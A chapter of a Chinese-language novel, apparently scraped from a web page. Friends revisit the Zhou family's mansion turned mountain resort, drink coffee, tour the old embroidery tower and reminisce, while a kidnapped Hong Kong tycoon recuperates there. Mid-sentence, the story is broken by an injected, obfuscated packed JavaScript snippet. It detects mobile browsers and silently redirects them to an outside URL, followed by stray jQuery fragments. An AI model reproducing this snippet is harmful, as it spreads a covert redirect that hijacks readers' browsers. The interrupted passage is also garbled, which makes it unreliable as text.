厅堂是府邸的中心位置,这里面的家具陈设古色古香,沿袭了清末民初时期的风格。从木板门到格子窗、雕花的屏风和橱柜、饭桌和座椅、板凳,采用了原材木质制作,绘上的素淡图案也是远古时代的风貌。临窗的墙上增添了几个插花的壁龛,就是放上大朵花也不刺眼。
出入厅堂的工作人员是几个乌浟当地姑娘,她们通过招聘经过在万柯大叶公司三个月的培训后,被安排到度假村周家府邸厅堂工作。此外再没有别的什么人进出了。
这厅堂是专为周家私人会客的场所。周家兄弟姐妹带人就会径直入这厅堂内来。
方竹涵总经理领他们在厅堂里入座后,身着红色织锦缎长外褂的工作人员替他们各人沏上茶,泡上咖啡,端来了点心。
大家把外套围巾解开,帽子手套都取了下来。里面的暖气开得很足,从脚尖一直暖到全身。
方竹涵指着各人盘子里一款“三明治”点心介绍说:“这在新加坡叫做‘咖椰吐司’。公司华裔多,先生为了照顾我们,从每个地方聘来厨师;还特意安排人跟着学。先生是个很善于学习的人。”
他说的“先生”,是指万柯集团公司董事会主席兼董事长周振春。在大叶万柯公司总部,周振春身边的工作人员,并没有按“董事长”称周振春,而是尊他称呼“先生。”
“二哥自己说过,如果不去参军,就会去作一名老师,当一个教书先生。二哥当了老师的话,就不会考虑下海经商了,会安心做一辈子的老师。”乃子告诉大家说。
“先生也这么对我说过,我相信先生这是真心话。”方竹涵点了点头,说完之后,客气地招呼大家开始喝咖啡吃点心,“大家先慢慢享用吧。”
各人端起杯子,拿着叉勺才吃起来。
所谓的咖椰酱,就是新鲜的椰浆和一种香兰叶配以新鲜鸡蛋和蔗糖精制而成。在炭烤的面包片包裹着两颗半生熟蛋和冷碎黄油,抹上一层这种橄榄绿咖椰酱,是新加坡早餐一杯咖啡加咖椰面包非常流行的吃法。
今天早上得到云子的电话后,特意为他们到来烤制的。在公司上班,方竹涵会将这道烤三明治作为早餐,现在在牛家塆则作为招待尊贵的客人享用茶点。
何穗、诗筠是头一次吃这种东西,俩人不觉得有什么,也就是蛋糕的味道。她们笨拙地用叉子叉着吃,俩人都不好意思晕红了脸,相视窃笑。她们也是初次喝咖啡,小县城也没有咖啡馆,对于咖啡苦涩的味道,也不习惯。俩人只喝了几口,就放下了杯子。
“小时候,我们坐在这板凳上吃红薯。烤出来的红薯味道也很香。”
祥子笑着说。他是这里的常客,己经熟练用叉子叉着一块三明治放入口里吃,朝何穗诗筠看着笑了一下。他看出来俩个女人头次来牛家塆吃茶点的尴尬。
“二十二年前,我来云子家在这里吃肉,现在在这里吃三明治,喝咖啡。真没想到,变化真大。”
何穗见祥子看出来自已和诗筠尴尬的吃相,反而大方起来心有所触地说。她把自己面前那一份剩下的推给诗筠,把叉子放到一边,算是自己吃完了。
“说起来,你们都是发小。可要好好珍惜啊。我们的发小,读完书后就分开了。但我们总会一年二年找时间相聚一次,哪怕是再忙再远也会赶来。”方竹涵看着云子祥子乃子三人,深有感慨地说。
“我们是。何姐不是。她和小文姐是。”
祥子告诉方竹涵说。
“和雨秀姐不是吧?”
乃子看着何穗问,“雨秀姐是西山的,你和小文姐是乌浟的。”
何穗不置可否地笑了一下。提起小文,她不言语了。好在乃子也没再细说下去。
“上几天晚上,几只山猫钻了进来。那天冬湖水库送来了一担鱼。鱼的腥味诱导了这些山猫从山林里爬到度假村。这冰天雪地的,小动物到处觅食。我让人不要伤害它们,把它们放了出去,在周边的山林里,每天固定时间放些食物喂它们,也把它当作是我们度假村的一项工作来做。”
方竹涵告诉大家说,后来这些山猫白天也在村前屋后转悠,对走过去的人一点也不畏惧。而且数量渐渐的多了起来,不只是刚开始来的几只,而是一群。它们吃饱后,会在屋后那几棵老樟树下聚集,互相嬉玩耍斗好一阵子,然后再散去。
“我过去数了数,有十九只。”
方竹涵兴致勃勃地说,“后来这十几只山猫果然每天在老樟树下聚会。”
这些山林中野生动物,对于他来说前所未见。即使是现在的下雪天,有空的时候他就上山,想要能够高兴地看到这些小动物。
“上几天有好几只小松鼠爬到屋后的樟树上吱吱地叫。附近山林里小动物多了起来,说明生态环境好。先生说,小时候,野兔子满山跑,除了野猫,还有狐狸、野猪、野鸡、穿山甲。要是自己的家里,就可以把这些小动物当作宠物养起来。”
方竹涵说完,捧起茶杯,呷了一口温茶,然后交叠双手,放在膝上。他虽然性情温和、文静谨慎,但工作起来要求很严。
他禁止度假村里的工作人员去冬河捕鱼。他接手牛家塆度假村管理后,对一些管理细则作出了很多的严格规范。
有关后山树林里到底有些什么动物,祥子乃子也说不清。现在听眼前这个远道而来客居牛家塆度假村总经理所说的,都是自己小时候那个时代里的往事。
对于这些小动物,祥子乃子云子他们都没有仔细地观察,从小到大,只是把它们当作玩物。现在眼前这个暂居的方经理,这么关心,而且观察得这么细致入微,不禁让人心生敬佩。
能够让方竹涵安心留下来的,除了他自己喜欢山林野趣之外,随他一起来的太太是植物研究专家。
周振春当时在考虑度假村总经理人选时,也正是基于方竹涵太太的专业。他的太太作为应邀专家,经常去冬湖森林公园动植物研究所参加一些项目研究。他们的一双儿女都在美国大学留学。
明朗的阳光,映衬在积雪的群山和绿色的山林之中的周家府邸:这座保存完整、富有江南特色的古建筑房屋——牛家塆度假村。
随着冬湖国家森林公园对全球的开放,国内外慕名而来的人日渐增多,周振春在成立万柯集团公司后的第二年,把度假村老宅规模进一步提升和完善:又进行了扩建和整修,所有的家具设施重新置办,利用自然环境和自然资源,用来游憩、疗养、度假,接待与周家有一定关系的政商两界人士。
还是保持有限度对外开放:来牛家塆度假村住宿的,只限于来冬湖森林公园考察的专家学者和大专院校的学生。
牛家塆后山的冬湖水库,相距不到二公里远就是冬湖国家森林公园。那儿有着天然的动植物资源,依然保持远古时期的原始生态。在现代化经济建设发展的大潮中,受到国家和当地各级政府的保护,这里的山水没有受到来自现代工业文明的污染,是现代工业文明都市生活里的人们、追求自然健康高品质的生活休闲度假的最佳场所。
与森林公园如此毗邻的牛家塆度假村周家老宅,自然成了与周家结识的贵族阶层理想的疗养胜地。
“我们去看看。”
何穗看到诗筠快吃完了,她站了起身,说。
见何穗起身,诗筠吃完最后几块茶点,也跟着站起来。
方竹涵带着俩个女人走了出来。他指着南幢的房子告诉她们说:里面南幢不要过去了。
俩个女人朝那边看过去。熟悉这里的何穗知道,周家大院南幢房子以前是周家祖父、爷爷、周振林住房,现在那儿成了她们入内的禁地。
她知道一定是与周家关糸密切的重要人物在那里面住。
俩个女人先是在庭院里面的山茶花树旁拍照,在这积雪的冬天这古香古香的府邸,留下自己美丽的姿影,再走出庭院到外面的度假村里拍照。
诗筠替何穗拍照完,顺便把相机挎在自己的身上。
“快点出来呀。”
诗筠跨出庭院门口时,朝外面喊着。其实何穗就紧跟着在她身后。姑娘在喊什么呢?
诗筠的喊声,是在释放出抑制不住的兴奋。她站在雪地里,戴上帽子,整了整衣服,灵巧地戴上手套,举起相机,到处拍过不停。
云子乃子在庭院门口晃了一下身影,又回到了屋里去了。
“你们也一起来呀。”诗筠对祥子乃子说。
“我们等云子出来一起照合影。”
祥子说。祥子对拍照没有兴趣,也不喜欢让人拍自己。祥子不愿意拍照,乃子也就不愿意出来。
他们俩折回来,重新坐回到厅堂。厅堂一角桌上摆放着有报纸、书、圆珠笔和便笺、火机、几样不同的茶罐、和几包散装的“中华”香烟。
云子祥子乃子三人都不太抽烟,但看到所谓的好烟,也会抽上一支当作玩或消遣。
祥子从桌上烟盒里拿出二根烟,递一根给乃子,一根叼在自己嘴里,重新坐了下来后,各人把烟点燃。
“跛子哥完成了任务了吧?”
祥子见四下无人,偷偷地问乃子。他问的完成任务是指跛子超生的儿子生了。
“四岁了。上户口你得帮一把。”
乃子把要放在嘴上的烟,拿了下来,凑过头小声说。
“这事不能找我。我不能搭白。”祥子一口回绝。他使劲地抽一口烟。
乃子沉下脸来:“你每年十几二十个娃娃上学的学位,我没有搭白吗?这两年下来,恐怕有二个班了吧。”
祥子见乃子黑着脸这么一说,陪着笑凑过身子小声说:
“这么小的事,你用得着找我吗?你让人去隔壁县找找人家落了户,再以亲戚的名义迁过来不就行了吧。大不了花点小钱嘛。”
“算了算了。我只是跟你说说。我一见他就想到了。”
乃子反而不耐烦摆摆手,他吸一口烟后,把烟灰掸在桌上的烟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199092|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灰缸里,
“以后不要提这事了。事情虽小,影响力大,弄不好一票否决,就得丟乌纱帽。”
“好了,不说了。”
祥子边说边把身子挪了回去。
但乃子还是沉着脸忍不住又说:“跛子说,他上不上户口没所谓。反正儿子长大就是当农民种自家的地,又不出门又不住酒店。”
“他这话有点意思,也有点儿理。这个证那个本的多了,反而碍事。这儿卡着那儿掐着让人难受。”
祥子用手揉揉了眼睛,不太会抽烟的他可能让烟熏到了。
“所以你和那些能够跑的都跑出去了,剩下的我们这些留下来的,这也不能那也不行,个个像是无头的苍蝇关在笼子里四处碰壁。”
乃子说完,再也没出声。祥子也不好说什么。乃子一直在为出国的事情郁结。
方竹涵陪何穗诗筠一会儿,替俩个女人拍了几张合影,让工作人员请回屋里去了。
诗筠被这优美的风景吸引,边看边拍边到处走,没多久她举着相机和何穗走开了。
独自一人的何穗也回到了府邨里面。她从庭院中一条积雪的小径,绕过厅堂,迈着匆匆的步伐,径直蹬上绣楼。
生下儿子思塘后,她常常会不自觉地把自己当作周家的女人。虽然被周家的女人侮辱,但自己和周家老宅里的男人有一个儿子。这个儿子和周家所有的孩子一样,承继了周家的血脉。
何穗来到了绣楼上,这里每个房门紧锁,房门木板上挂着编号。这显然是当作接待来客住宿的地方。自己曾经和小文住的房间数字编号是“3327”。
何穗定睛地看了看,有点不相信自己的眼睛。她不明白为什么房间的门上要编四位数,她估计整个度假村的住房也就那么一百来间。编排这么多数号,到底是为了方便管理还是为了什么不为人知的秘密?
何穗在自己曾经住过的房子门口伫立着。想起二十二年前的一切:和雨秀小文曾在这里同衾共枕,促膝交谈,亲密无间,情同姐妹。三人过着共同平凡的生活;如今她们三人各奔东西,雨秀和小文成了周家的媳妇,远走他乡,居住在世界最发达的国家,是名副其实的阔太太。
如今这里的老宅改建成府邸度假村,成了周家用来招待政商两界重要人士的场所,也是供达官显贵用来休闲度假疗养的胜地。
对于何穗来说,这里是她无法忘却的梦,充满着让她感动的期待和希望。她知道,像这样的梦日后再也不会重温。
往事一幕幕在眼前浮现,让重回绣楼的何穗,心中千言万语,百感交集。七年前的枫叶红的那天晩上,她瞒着女儿从绣楼上下去偷偷去与年轻男人幽会,那缠绵的一夜,让她在这里,终于寻到了彼岸的人。
以后不知道女儿能够代替自己,把母亲的梦持续下去。自己这种心境,恐怕是世上其他女人很难以体会的喜悦、寂寞、甚至说不出来的苦痛和无奈。
她抚摸着的格子窗,发现太阳光从屋檐上斜照到自己脸上,让她感到一丝丝舒适的温馨。这太阳光也照亮了她和雨秀小文曾经共同度过的岁月;当中包括枫叶红与那个年轻男人共度良宵的秋夜。
“何姐,我到处找你呢。这屋子真好,这么多的房子。”
诗筠冷不丁的出现在何穗面前。
不及何穗开口,她举起胸前的相机,按下快门,不由分说替何穗拍了二张。
“你在这里怀旧吧?”
诗筠绽开笑脸说。兴奋加上外面冷冽的寒风吹得,让姑娘脸颊通红。
姑娘这样喜孜孜的神情,让她想起二十二年前,自己第一次踏入这府邸的情景。
现在这个正值妙龄美丽的姑娘,兴致勃勃地的样子,仿如自己二十二年前的那个样子——就连说话甜滋滋的口气也是极其相似。
姑娘美貌非凡,额头前刘海那双乌黑晶亮的眼睛,很是吸引人。男人见了势必会难以释怀。她会不会会不惜一切使出浑身的解数,让自己成为周家的女人?
何穗心里突然冒出这样的念头,连她自己都感觉很是奇怪,让她蓦然一惊,她凝视着姑娘。
“你在想什么?”
诗筠见何穗定定地注视着自己,问她。
“我在想,我第一次来这府邸,和你现在一样大。那时候我们是三个女知青,这周家的二媳妇小文还是我带来的。现在一晃二十多年过去了,她们俩成了周家的女人,而我却被拒之门外。”
何穗用凄伤的口气回答说。她不知道自己为什么会这么说。她笑了,像是在开玩笑故意用凄伤的样子调侃自己的落莫。
“学校老师都说你和周书记家里缘源很深,可又说不清楚。现在我终于明白了。”
诗筠像是恍然大悟一样地说。
“你明白了什么呀?”
“二十二年前,你与周书记的媳妇这么亲近,简直就是姐妹一样。”
“说起来难堪。二十几年前,我与周家俩媳妇是一起下放到冬塘的姐妹。”
何穗没有向诗筠提及自己与周家二媳妇小文是发小。
自从与那个年轻男人有了那层关系,她有意回避承认自己与小文的发小关系。
何穗这么一说,诗筠认真地看着她。何穗与诗筠相视一会儿,把自己的眼睛移开,望向楼下。这时,她看到南幢楼下迴廊上一个中年男子,坐在一棵山茶树前,手持着什么,凑着树枝上的花全神贯注地在看什么。
云子和一个和他年纪相仿的女人站在一旁,在说什么。
何穗看到南幢楼下迴廊上、坐在一棵山茶树前的这个中年男子是李木相:香港新鸿星集团公司董事局主席。
李木相手持放大镜在数山茶花中的花瓣,到底有多少片。他现在看到的这一朵,重瓣的花瓣有二十七片。他也数过最少的才五片。他的夫人三太太查阅过有关山茶花的资料,最多的山茶花花瓣有五十片以上。
李木相住的房子门口,也放了二棵盆栽的山茶树。这山茶树是二棵老树,它们树干苍劲,充满了活力。这二棵盆栽的山茶树,挂着一树斑驳重瓣大朵鲜红的山茶花。
看到在这寒冷的季节里盛开的这些花,让人深深地感受到来自于大自然的品格和分量。
去年八月份的一天,李木相在香港家中遭人绑架。八月的香港,酷热难耐,他被人绑架关在一个仅有一个出气孔的木箱子里四天,最终以付出七亿港元的赎金被赎出来。
绑架事件中李木相遭到了虐待,受到了惊吓,不敢回家住,也想离开香港在外地找一处安全可靠风景怡人的地方调理身体。周振春邀请他过来冬塘牛家塆度假村老宅看看,没想到他一来就喜欢上了,当即就定下来长住。
现在他和三太太在牛家塆已经住了半年。这里空气清新,自然环境优美,远离世事纷扰,置身其间,轻松自在,是个完全可以让自己的身心沉静安稳下来的地方。
大概安心舒适,有时候达到发呆的程度。
家人和李木相自己,都希望他能尽快走出被绑架的阴影,缓解消除心中焦虑郁结的不快情绪。
李木相每天早上七点起来,喝一杯温热水,在迴廊做十几分钟伸展操,然后洗漱,再去餐厅用餐。上午大都是在附近山上溪流池塘边走走看看,听鸟儿啼啁观赏鱼儿游戈。自己有兴趣的话,也和工作人员一起种菜,修剪弄弄度假村里面的花草树木。
午饭时间后,中午小憩一会儿,起来看看书报电视,参加度假村里面组织的一些文娱活动。在牛家塆度假村除了云子以外,他不接近任何人。
他们夫妇俩人平素也都是少言寡语,神情淡然,既无愤怒也无沮丧,也没有什么特别高兴的样子。看起来是过上一种与世无争的生活,像是个修行者。
现年五十六岁的李木相有多重国籍,娶了六房太太,二十一个子女。最小的儿子比他大孙女还小,俩人之间的年龄相差十八岁。
现在陪伴在李木相身边的,随他入住牛家塆府邨的是他姜姓三太太。这姜姓三太太年仅三十二岁,出身于高贵的家庭,容貌漂亮,温顺矝持,像是个青春少女。
周家与李木相在世界各地都有商业往来,对李木相入住牛家塆度假村照顾有加,高价请了个香港厨师,从万柯公司挑选十二个忠厚本份的青壮年男子作为安保人员,昼夜守在李木相身边。让人加固了宅院的围墙,并在不同的位置又增加一些电子眼监控设备。
他们住在牛家塆度假村无人知晓。周振春只是对云子说是生意上的合伙人,不要让任何人去打扰他,让他有空常回老宅看看。祥子乃子对住在老宅里的李木相的身份也毫无所知。
陪伴他身边的三太太是个聪明绝顶的女子。也胆量过人。获悉李木相被人绑架后,她只身一人前往匪巢,与绑匪讨价还价,从绑匪开价要二十亿,谈到七亿。
三太太的镇静,连绑匪都很意外。绑匪问她,你一个年轻女子,不怕我们对你下手吗?她答道,你们既然是为了得到赎金,我来与你们谈判,是给你们送钱来的,你们应该为绑架成功高兴,怎么会对我下手呢?
绑匪问,你为何这么冷静?她答道,因为是我们错了,我们在香港有一点钱,但是没有一点防备,既然我们错了,就算是我们赔上损失的钱。
三太太与绑匪谈判后,她以自己高贵的人格和生意人坚守的商业信用付了赎金。
李木相被赎回来后,李家信守三太太谈判的承诺,并未报警。
9. 第九届
绣楼屋檐上凝结的冰柱,被阳光消融上面的冰水,滴落在楼下地面的沟槽里,发出轻柔圆润的水滳声,落下的水滴溅湿了两边脚踏石上的青苔,和檐柱的石墩底座,最后渗进庭院里的泥土。
从这绣楼居高临下,几乎都?可以看到庭院的每一个角落。
“我想知道先生小时候以前住的房间在哪?”诗筠朝何穗问。她满脸喜气洋洋。
姑娘的问话似乎有点奇怪,但也让人很容易理解。
“周振春就住在刚才上楼梯的下面那个房。那个房子是专门看守这绣楼上的女人的。”
何穗告诉姑娘说。话语说得有点儿意味深长。
“就像是守护的哨兵呀。”姑娘佩服地说。
何穗含笑地点点头,姑娘的比如恰如其分。去绣楼要经过年轻男人的房子门前。刚才经过年轻男人以前住的房间门口时,何穗的腿脚突然往下一沉,不由自主地让自己居足停留下来。她下意识往紧闭的门窗里面凝望着:自己曾在这房间与年轻男人一度春宵,并怀孕生下了儿子思塘。转眼之间如今已经过去了七年。
七年来,她对这个年轻男人爱恨交加,同时又难以忘怀:白天让人神思恍惚,夜晚令人辗转难眠。这年轻男人撩人心境,冷漠无情。
何穗在年轻男人房间门口心潮起伏,思绪万千。她收回抑制不住激动的心情后,缓缓地抬起脚迈上了绣楼。
痴情于年轻男人的雪秀二十二年前告诉过她,年轻人坐在房间里,能够听得出自己家里的女眷是谁蹬上楼梯的脚步声。假如现在年轻男人在房间的话,能够听得出是自己蹬上楼梯的脚步声吗?
那时候年轻人才多大呢?不过是个十五、六岁的少年。年轻人能够听得出自己家里的女眷、是姐姐或妹妹蹬上楼梯的脚步声,既是出于对她们的一份责任心,也是来自于亲人间那一份的关爱之情。
无论是出于一份责任心或者是一份的关爱之情,周家先祖把上去绣楼的楼梯置于这个房间的一侧,安排自家少年男子入住这楼梯旁边的房间,是源自于保护自家女眷安全上的考虑,也间接地守卫门第严谨的家风。
何穗站在廊道上,眼巴巴地打量着绣楼的每一处地方。她把目光投向两根楼柱之间用来晾晒衣服的粉色睛纶织带绳上。绣楼没人居住,绳子上面也没有晾晒衣服,只有几个衣架子,在阳光下轻轻地晃荡。
可她的记忆中是二十二年前这绣楼上那条灰白色的苎麻绳,上面挂满着女孩们花花绿绿的衣服。
昔日这绣楼里的女孩,如今都变成了女人,做了母亲。她们完成了自己一次又一次人生的转变。难道这就是做女人的人生的宿命?
自己今天来这里,难道也是探究自己作为一个女人的人生的宿命?并由此获得现实世界中人生上的成功?或者说是为了寻找当年自己未遂的梦境?还是对小文昨天在宾馆里对自己的喝斥谩骂侮辱的报复?
来的路上一路高兴,差点忘了昨天下午在宾馆里的不快,现在突然想起昨天下午在宾馆里的情景,促使她反而更加强烈地倾心于年轻男人,包括给女儿写的那封不可思议的信。
她就是要让女儿把自己未遂的梦继续下去,哪怕是赌上自己和女儿的一生也在所不惜。
“每一个年轻的姑娘都会有一个美丽的梦,你的美梦不用说我都知道:与一个称心如意的男人结婚,生小孩,过上幸福的家庭生活。”
何穗突然定定地看着诗筠,以一副很严肃的面孔对姑娘说。
“啊?”诗筠被何穗这突如其来的话,颇感惊讶。姑娘张着嘴,眼睁睁地望着何穗。
“不就是这样的吗?”
何穗盯着姑娘顶问。
“我可从未想过。”
诗筠被这么一问,醒悟过来,她回答说。姑娘腆腆地抿着嘴笑了。
“你只是不愿意说岀来而己。说不定天天都在想。”何穗故意把话说到底。
何穗这么能揣摸人的心思,让姑娘脸上泛起淡淡的红潮,眼神闪烁着欣喜的目光。姑娘羞答答的笑脸象一朵花。
姑娘走到何穗身边,拉着她的胳膊肘摇了摇,满是恳切地说:
“何姐,我从现在起,就认你作姐姐了。”
姑娘甜美的声音,让人感到很愉快。何穗却撇着嘴故意点破她说:
“说到你的心坎里去了。你是在讨好我吧。”
“哎呀,你就知道也不要说得太白了嘛。多让人难以为情啦。”
姑娘把拉着何穗的手,捏着小拳头,往何穗身上捶了一下,让她也笑了起来。
“我只会给人当姐姐。”
何穗收敛起笑容,深有感触地说,
“从当姑娘的时候一直到现在人到中年。”
“你人好。个个都喊‘何姐’。要是说‘何老师’,可能很多人不知道,只要是说‘何姐’,大家都知道是你。”
诗筠放开何穗说。她走开几步,环顾四周把挎在胸前的相机举起来,四下走动又开始拍摄。
姑娘毫不吝啬?卷,拍个不停。这里的一切让她着迷。她举着相机对着对面的南幢拍摄。南幢前面的一侧有座假山,假山上有几株小松树。这些小松树的翠绿反而衬托出庭院里的雪色更加洁白醒目。然而那是让她们止步的地方。
“宽广的庭院里即使是雪天,也是绿叶扶苏花红锦簇。”姑娘边拍边高兴地说。
南幢外面的黑衣人发觉了诗筠的拍照,向她礼貌地挥手示意不要往那儿拍。姑娘看到云子从对面的楼下廊道里走了过来。
“周县长出来了。八成是抓我的来了。”
姑娘放下相机,伸了伸舌头,笑着说。
“把你关在这里几天。”何穗逗诗筠一句。
“我看有这个可能。公安局长就在楼下坐阵嘛。”
姑娘笑着说完这一句,走近何穗两步挨着她的身子,故意嗔道,
“何姐,你为什么要瞒着我嘛?刚才来的路上我说我爸让县长调去火电站的事,幸好没有再说周县长的什么。要不,就完了。”
“如果云子有什么让群众说的,我肯定会事先告诉你。你看他,就像是个长不大的小孩子,哪像个县长?”
“我看他很随和,真的就像是个长不大的孩子。”
“所以,你放心,云子不会做对不起人家的不好的事。我这个小弟弟我是看着他长大的,最了解他。”
何穗说。她朝楼下看去,寻找云子的身影,自己所处的位置看不见云子。她知道现在的云子已经走到年轻男人住的那一幢房了。
自从与这个年轻男人有过那层关系,生下儿子思塘后,对于这个自己看着他长大的小弟弟,何穗有时看到云子的背影,会被强烈地吸引,以为是年轻男人,待到意识过来,不禁黯然,自言自语在心中骂着自己:
“简直就是个罪人。”
如果不是小文昨天那番对自己的谩骂和诲辱,或者祥子乃子不来牛家塆度假村,再就是诗筠不与她结伴而来,单独的何穗她自己是不会跟云子来。
“他大哥二哥不一样了。不用我说,你一看就会让自己拘束起来。”
何穗沉呤片刻,像是对自己又像是对姑娘说。
“我最怕遇见这样的大人物了。以前只是听说过周家,从未想过会来周家府邸,还是与周振云县长一起。”
姑娘说到这里,觉得话没说完整,接着补充又说,
“周振乃局长也从没见过,可能是我来学校的时间太短了吧?周振祥局长也是在电视上看了一眼,也没什么认象。他开车,穿这么多衣服,把帽子戴得那么低,是故意不让我认出来吧?”
姑娘说完,用手抚平衣服上的皱褶,扯了扯衣服的下摆,正了正衣服翻领后面的羽绒帽,拢了拢额头上的头发。她估摸着云子很快就要上来了。
“不过,要是有这样的机会,也真好。很多人恐怕想要巴结都很难。”
姑娘抬起脸,瞄一眼何穗,笑着蹦出来这么一句话来。
新时代的姑娘,说话就是直率,毫不掩饰。
诗筠走过去几步,举着相机又对着别处拍了一阵子。这时云子蹬着楼梯咚咚当当地上来了。
“诗筠老师,不要往那南幢拍了。拍了也不得拿去冲洗,要不让人看到就不好了。”
云子迈上楼梯口时,看到她们就说。
“我可舍不得啦。”姑娘故意卖起了关子。
“我看看,把那边有人的曝光就是了。”
云子坚持说。
“我回去自己冲洗。剪掉就是了。”
诗筠只好告诉云子说。她大学期间修过摄影课。
“我们回去都是一起冲洗。”
何穗告诉云子说。
“那就好。以后再来拍。要不等他们出去玩了,你们再来就是了嘛。”
云子似乎有点过意不去地说。
“还可以再来吧?”
姑娘嫣然一笑,抬头看着云子撒娇的问一句。
“怎么不可以再来?你和何姐一起来就是。这是何姐的房间,一直留着呢。”
单纯的云子统统地说出来。
“呀……”
姑娘叫了一声,震惊之余,目不转睛看着何穗。她压根儿没有想到,在这高墙大院的周家府邸里,还有何穗的房间。能够在这样优雅的地方有一间属于自己的房子,一定是非比寻常的关系。
难怪何穗刚才一直在这里默不作声伫立着。姑娘望着何穗:这是一个非常有意思的女人。
“现在我才知道,咱们的校长为什么不敢得罪你了。”
诗筠恍然大悟地说。
“你这姑娘,懂得什么啦?年纪轻轻的。”
何穗装作不以为然地样子说。但心里一下子涌上一股暖流,脸上也绽开着笑容。
她伸手要牵姑娘的手一起往楼下走时,云子叫住了她:
“何姐,我二哥刚才又在问你。你现在给他打个电话吧。”
云子毫不理会诗筠的反应,他把手提电话递给何穗。
早上在学校门口,当云子这么告诉何穗的时候,让她感到自己仍然存在年轻男人心中。他仍然在记挂着她,惦念着她。
自己过去对他的怨恨并由此引发的凄伤和落寞,立马消失得一干二净。心情如同这冬日明朗的阳光一样,一下变得温暖明亮起来。
“这怎么打呀?”
何穗还从未使用过手提电话。她接过手提电话,拿在手里抑制住自己内心的激动,用柔情十足的语气朝云子拖着长长的尾音问。
“我拔给他,你给他说。”
云子回答她说。
“可是?”
何穗犹豫起来,她还没想好怎么跟年轻男人说什么。
刚才来的一路上她也想过跟年轻男人怎么通话,如果他问起,那天晚上一夜缠绵之后她有没有怀孕,她该怎么回答思塘的事情。但让途中“贩毒、碰瓷”,搅乱了自己的思绪。
“我让人先把门打开。”
云子用目光扫视了一遍紧闭的房门后,说。
还是云子明白何穗的心思。
云子朝厅堂挥了挥手,出来一个工作人员,他用手指了指绣楼的门,工作人员会意转身进去,再出来,手上拿着一串钥匙。
“你让人把春子的门打开,诗筠老师要进去看看。”
这时,何穗对云子说。
“一会儿我们去那儿坐坐。那也是我的房间。我五岁大一点就和二哥睡一个房间了。”
云子自豪地说。
“啊?我要去拍几张照片。具有纪念价值。”
诗筠显得格外高兴。她丝毫不在意何穗的感受和想法。姑娘对她过去这里的一切一无所知,也不会理解此时此刻她的心情。
上来的工作人员拿着钥匙逐一把房门打开。何穗向诗筠介绍完雨秀秋华冬花小文的房间,再带着姑娘去自己曾经住过的房间。
里面布置依然如故,几乎所有的物品还是以前的那些东西。二张木质小床中间隔着一张小书桌。小书桌上摆着二把暖水壶、杯子、里面有便笺的上面挂着笔的皮夹子。
床上厚实的被子又宽又长,三叠横放在床里面的一边。床褥铺得也很厚。被套和床单都换成了纯白色。淡绿色厚布窗帘已经略有褪色发白,边缘露出粗缝的线头来。
靠门对着窗户二张床头的对面墙上,挂着一幅清新淡雅的山水画。画的下面,有一行被描绘成淡紫色的小楷书纤体的小字:“绣楼房间,只限于女士住宿。”
这像是闺房的标志,也像是一种装饰。
云子把空调暖气打开,一股热气立即从空调机里释放出来。只一会儿,房间弥漫着暖暖的气息。
何穗轻轻地触摸着木板床和书桌,拿起水壶杯子又放下,然后坐在当年自己睡过的床上,让姑娘替她拍照,又让云子替她和诗筠俩人拍了合影。
诗筠对这幽雅的环境感觉很惊讶:
“它静悄悄的,像是在冬眠。”
“他的大嫂雨秀姐,一订婚就搬到这府邸来住了。太舒服了,一住下来就不肯走了。有一年多吧?”
何穗指着云子告诉姑娘说完,再朝他问。
“刚好一半年。我大嫂说,她家房子太窄,三姐妹和父母挤在一间屋子睡,家里吃得也没我们家好。更主要的原因是,可以为家里省下口粮给手下二个妹妹吃饱一点。”
云子手里举着相机,边拍边回答说。
何穗往窗户方向侧过身,把头望着窗外,让诗筠把一只手搭在她的肩上,也伸着头往窗外张望。她让云子拍她当年坐在床沿和雨秀小文一起往窗外看风景的姿态。
云子替她们拍完之后,何穗转回身。诗筠把手从何穗肩上放下来,好奇问她:
“你记得第一次怎么来的吧?”
何穗亲昵地揽着姑娘的肩,凝视了她一会儿,说:
“开始我一个人来找雨秀,后面带小文来。我是乌浟在冬塘二十多个女知青认识雨秀最早的。第一次认识她的时候,是她提着篮子去食品站排队剁肉,我看她这个大城市来的姑娘这么文静漂亮,就把她叫出来,带她偷偷去食品站里面剁。她上次还在说这个事。不久之后她约我来这里说是看房子,我就跟着她来,后来才知道她是跟林子约会的来了。那时候她还在读高中吧。她把我带来之后就不见了,再出来时她就让我陪她一起回去。这样陪着她来来回回走在路上有好几次。我知道她在跟林子好之后,陪着雨秀来,只是给她在路上作个伴,一来这屋子后就去春子房间找书看。”
说到这里,何穗侧过身低头注视着自己曾经睡过的床,看着床头木板,把手慢慢地从姑娘身上挪开,轻轻抚触着床头木板。这木板久经岁月,被人身蹭磨得油光滑亮,在窗外映射进来的阳光中泛着温馨的光芒。
她沉浸在过去的回忆中,娓娓道来告诉诗筠说,
“后来我把小文也带来玩,隔壁的二堂哥振实看上了小文。小文就嫁给了振实。人家都说我傻,不把自己嫁到周家来,倒带着其他姑娘嫁进来。”
何穗说到这里笑了起来。诗筠和云子跟着也开心地笑了起来。
何穗突然一下止住了笑,像是醒过来似的,她无意识中说岀这些,自己感觉不太合适。她停了一会儿,转移话题,看着诗筠认真地说:
“要是春天里来,整个度假村掩映在春意盎然野趣优雅碧空笼翠的绿林中,到处的山花烂漫,鲜艳妖娆。池塘边和冬河的垂柳,随风飘拂,倒映在清波粼粼的水面。带着相机来拍照,每一张照片就是一幅幅美丽的风景画。”
何穗语气亲切温和,像是在给学生授课。她再告诉姑娘说,
“我在这儿画过很多的画。雪秀用她在这写的日记,帮我题跋。”
“云子哥,春天你可要答应我们来呀。”
诗筠眼睛里闪烁着光彩,她用充满喜悦的声音,甜甜地喊着云子说。
诗筠这样闪烁着光彩的眼神,还有这样甜甜的叫声,让何穗不由得心头一紧,她凝神静气地注视着姑娘。姑娘知道自己情不自禁流露出来的感情让何穗看了出来,立马羞赧地低下头红了脸。
